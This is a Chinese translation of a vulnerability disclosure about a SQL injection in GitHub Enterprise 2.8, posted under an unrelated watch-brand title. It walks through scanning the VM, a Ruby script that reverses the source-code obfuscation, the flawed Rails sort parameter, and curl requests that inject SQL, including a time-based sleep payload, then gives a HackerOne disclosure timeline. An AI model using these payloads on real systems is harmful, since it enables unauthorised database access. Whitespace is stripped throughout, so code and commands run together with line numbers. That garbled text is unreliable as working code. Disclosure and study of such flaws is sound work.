bestchr手表(bestchoice手表)
翻译:scriptkid
预估稿费:100RMB(不服你也来投稿啊!)
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
前言
Github企业版是github.com的一款定制版本,你可以用其在自己的私人网络中部署属于自己的完整github服务以用于商业目的。你可以在enterprise.github.com下载到相应的VM并获得45天的试用权,在你完成部署后,你将看到如下内容:
现在,我们拥有了所有的Github环境了,很有趣,所以我决定进一步深入。
具体环境
首先我们从端口扫描开始入手,在使用完我们的好朋友-Nmap之后,我们发现了VM中开放了6个端口。
1234567891011$nmap-sT-vv-p1-65535192.168.187.145...PORTSTATESERVICE22/tcpopenssh25/tcpclosedsmtp80/tcpopenhttp122/tcpopensmakynet443/tcpopenhttps8080/tcpclosedhttp-proxy8443/tcpopenhttps-alt9418/tcpopengit在经过简单的推敲和服务探测后得出以下结论:
22/tcp和9418/tcp对应的服务像是haproxy,其将连接转发到后端名为babeld的服务。
80/tcp和443/tcp对应的为主要的Github服务。
122/tcp为SSH服务。
8443/tcp为Github的管理控制台。
顺便提一下,Github管理控制台需要密码登录,一旦你获取了密码,你就可以添加你的SSHkey并通过122/tcp来连接到VM。通过SSH连接到VM,我们检测了整个系统,然后发现服务的代码库应该是位于/data/文件夹下。
1234567891011121314151617181920212223242526#ls-al/data/total92drwxr-xr-x23rootroot4096Nov2912:54.drwxr-xr-x27rootroot4096Dec2819:18..drwxr-xr-x4gitgit4096Nov2912:54alambicdrwxr-xr-x4babeldbabeld4096Nov2912:53babelddrwxr-xr-x4gitgit4096Nov2912:54codeloaddrwxr-xr-x2rootroot4096Nov2912:54dbdrwxr-xr-x2rootroot4096Nov2912:52enterprisedrwxr-xr-x4enterprise-manageenterprise-manage4096Nov2912:53enterprise-managedrwxr-xr-x4gitgit4096Nov2912:54failbotddrwxr-xr-x3rootroot4096Nov2912:54git-hooksdrwxr-xr-x4gitgit4096Nov2912:53githubdrwxr-xr-x4gitgit4096Nov2912:54git-importdrwxr-xr-x4gitgit4096Nov2912:54gitmondrwxr-xr-x4gitgit4096Nov2912:54gpgverifydrwxr-xr-x4gitgit4096Nov2912:54hookshotdrwxr-xr-x4rootroot4096Nov2912:54lariatdrwxr-xr-x4rootroot4096Nov2912:54longpolldrwxr-xr-x4gitgit4096Nov2912:54mail-repliesdrwxr-xr-x4gitgit4096Nov2912:54pagesdrwxr-xr-x4rootroot4096Nov2912:54pages-luadrwxr-xr-x4gitgit4096Nov2912:54renderlrwxrwxrwx1rootroot23Nov2912:52repositories->/data/user/repositoriesdrwxr-xr-x4gitgit4096Nov2912:54slumlorddrwxr-xr-x20rootroot4096Dec2819:22user切换到/data/文件夹下然后尝试查看源代码,但是貌似被加密了。
Github使用了自定义库来对源代码进行混淆,如果你Google搜索ruby_concealer.so,你就会发现有热心人士在这个gist上写了一个小片段。在ruby_concealer.so中简单地将rb_f_eval替换为rb_f_puts就可以了,但是作为一个hacker,我们不能仅仅是使用现成的办法而不知道到底发生了什么。因此,让我们使用IDAPro来进行分析!
正如你所看到的,程序使用Zlib::Inflate::inflate来解压数据并与下面的key进行XOR操作:
1ThisobfuscationisintendedtodiscourageGitHubEnterprisecustomersfrommakingmodificationstotheVM.Weknowthis'encryption'iseasilybroken.所以我们可以很容易地自己完成该操作:
123456789101112131415161718require'zlib'key="ThisobfuscationisintendedtodiscourageGitHubEnterprisecustomersfrommakingmodificationstotheVM.Weknowthis'encryption'iseasilybroken."defdecrypt(s)i,plaintext=0,''Zlib::Inflate.inflate(s).each_bytedo|c|plaintext<<(c^key[i%key.length].ord).chri+=1endplaintextendcontent=File.open(ARGV[0],"r").readcontent.sub!%Q(require"ruby_concealer.so"\\n__ruby_concealer__),"decrypt"plaintext=evalcontentputsplaintext代码分析
在解开所有代码的混淆后,我们就可以开始代码审计了。
123456789101112131415161718192021222324$cloc/data/81267textfiles.47503uniquefiles.24550filesignored.http://cloc.sourceforge.netv1.60T=348.06s(103.5files/s,15548.9lines/s)-----------------------------------------------------------------------------------Languagefilesblankcommentcode-----------------------------------------------------------------------------------Ruby258543595454371251838503Javascript4351109994105296881416YAML60013493214289039Python11084486264025180400XML12164923223125556C4443090323966123938BourneShell852144901641787477HTML63624760200182526C++1848370889079139C/C++Header428116792277372226Java19866651430345187CSS4584641309244813BourneAgainShell1426196900635106m421325936929433...12345678910111213141516$./bin/rakeaboutAboutyourapplication'senvironmentRubyversion2.1.7(x86_64-linux)RubyGemsversion2.2.5Rackversion1.6.4Railsversion3.2.22.4JavaScriptRuntimeNode.js(V8)ActiveRecordversion3.2.22.4ActionPackversion3.2.22.4ActionMailerversion3.2.22.4ActiveSupportversion3.2.22.4MiddlewareGitHub::DefaultRoleMiddleware,Rack::Runtime,Rack::MethodOverride,ActionDispatch::RequestId,Rails::Rack::Logger,ActionDispatch::ShowExceptions,ActionDispatch::DebugExceptions,ActionDispatch::Callbacks,ActiveRecord::ConnectionAdapters::ConnectionManagement,ActionDispatch::Cookies,ActionDispatch::Session::CookieStore,ActionDispatch::Flash,ActionDispatch::ParamsParser,ActionDispatch::Head,Rack::ConditionalGet,Rack::ETag,ActionDispatch::BestStandardsSupportApplicationroot/data/github/9fcdcc8EnvironmentproductionDatabaseadaptergithubmysql2Databaseschemaversion20161003225024大部分代码都是用Ruby编写的(RubyonRailsandSinatra)。
/data/github/看起来像是在80/tcp和443/tcp端口下运行的应用,并且可能是github.com,gist.github.com和api.github.com的代码库。
/data/render/看起来像是render.githubusercontent.com的代码库。
/data/enterprise-manage/应该是8443/tcp端口下对应的应用。
Github企业版使用enterprise和dotcom来检查应用是否运行于EnterpriseMode或者Githubdotcommode?
漏洞发现
我花费了一周左右的时间来发现该漏洞,我对Ruby并不熟悉,但是可以在实践中学习不是吗!以下是我这一周的大概进度。
Day1-安装配置VM
Day2-安装配置VM
Day3-通过代码审计学习Rails
Day4-通过代码审计学习Rails
Day5-通过代码审计学习Rails

Day6-成功发现了SQL注入漏洞
SQL注入漏洞是在Github企业版中的PreReceiveHookTarget模块中发现的,具体位于/data/github/current/app/model/pre_receive_hook_target.rb的第45行:
123456789101112131433scope:sorted_by,->(order,direction=nil){34direction="DESC"=="#{direction}".upcase?"DESC":"ASC"35select(<<-SQL)36#{table_name}.*,37CASEhookable_type38WHEN'global'THEN039WHEN'User'THEN140WHEN'Repository'THEN241ENDASpriority42SQL43.joins("JOINpre_receive_hookshookONhook_id=hook.id")44.readonly(false)45.order([order,direction].join(""))46}尽管在Rails中已经有内建的ORM(ActiveRecord)来防止SQL注入,但是却存在许多的滥用导致可能存在SQL注入。更多的例子你可以参考Rails-sqli.org,这对于学习Rails的SQL注入很有帮助。在本例中,如果我们控制了order方法的参数,我们就可以注入我们的恶意payload到SQL语句中。
现在,就让我们进一步跟进,sorted_by在/data/github/current/app/api/org_pre_receive_hooks.rb的第61行中被调用:
12345678910111210get"/organizations/:organization_id/pre-receive-hooks"do11control_access:list_org_pre_receive_hooks,:org=>org=find_org!12@documentation_url<<"#list-pre-receive-hooks"13targets=PreReceiveHookTarget.visible_for_hookable(org)14targets=sort(targets).paginate(pagination)15GitHub::PrefillAssociations.for_pre_receive_hook_targetstargets16deliver:pre_receive_org_target_hash,targets17end...60defsort(scope)61scope.sorted_by("hook.#{params[:sort]||"id"}",params[:direction]||"asc")62end可以看到params[:sort]作为参数被传入到scope.sorted_by中,因此,我们可以注入我们的恶意payload到params[:sort]。在触发该漏洞前,我们需要一个合法的access_token来访问API,幸运的是,我们可以通过以下命令来获取到:
12345678910111213141516171819202122$curl-k-u'nogg:nogg''https://192.168.187.145/api/v3/authorizations'\\-d'{"scopes":"admin:pre_receive_hook","note":"x"}'{"id":4,"url":"https://192.168.187.145/api/v3/authorizations/4","app":{"name":"x","url":"https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/","client_id":"00000000000000000000"},"token":"????????","hashed_token":"1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4","token_last_eight":"1fadac36","note":"x","note_url":null,"created_at":"2017-01-05T22:17:32Z","updated_at":"2017-01-05T22:17:32Z","scopes":["admin:pre_receive_hook"],"fingerprint":null}一旦获取到了access_token,我们就可以通过以下方式来触发漏洞了:
123456789101112131415161718$curl-k-H'Accept:application/vnd.github.eye-scream-preview'\\'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+information_schema.tables+limit+1,1)'[]$curl-k-H'Accept:application/vnd.github.eye-scream-preview'\\'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+mysql.user+limit+1,1)'{"message":"ServerError","documentation_url":"https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks"}$curl-k-H'Accept:application/vnd.github.eye-scream-preview'\\'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,if(user()="github@localhost",sleep(5),user()){...}时间线
2016/12/2605:48通过HackerOne向Github报告
2016/12/2608:39Github确认漏洞并着手修复。
2016/12/2615:48提供更多的漏洞细节
2016/12/2802:44Github回复漏洞在下个版本得到修复
2017/01/0406:41Github奖励$5000USD漏洞奖金
2017/01/0502:37询问如果要发表blog是否有需要注意的点
2017/01/0503:06Github表示同意发表blog
2017/01/0507:06Github企业版2.8.5发布
还没有评论,来说两句吧...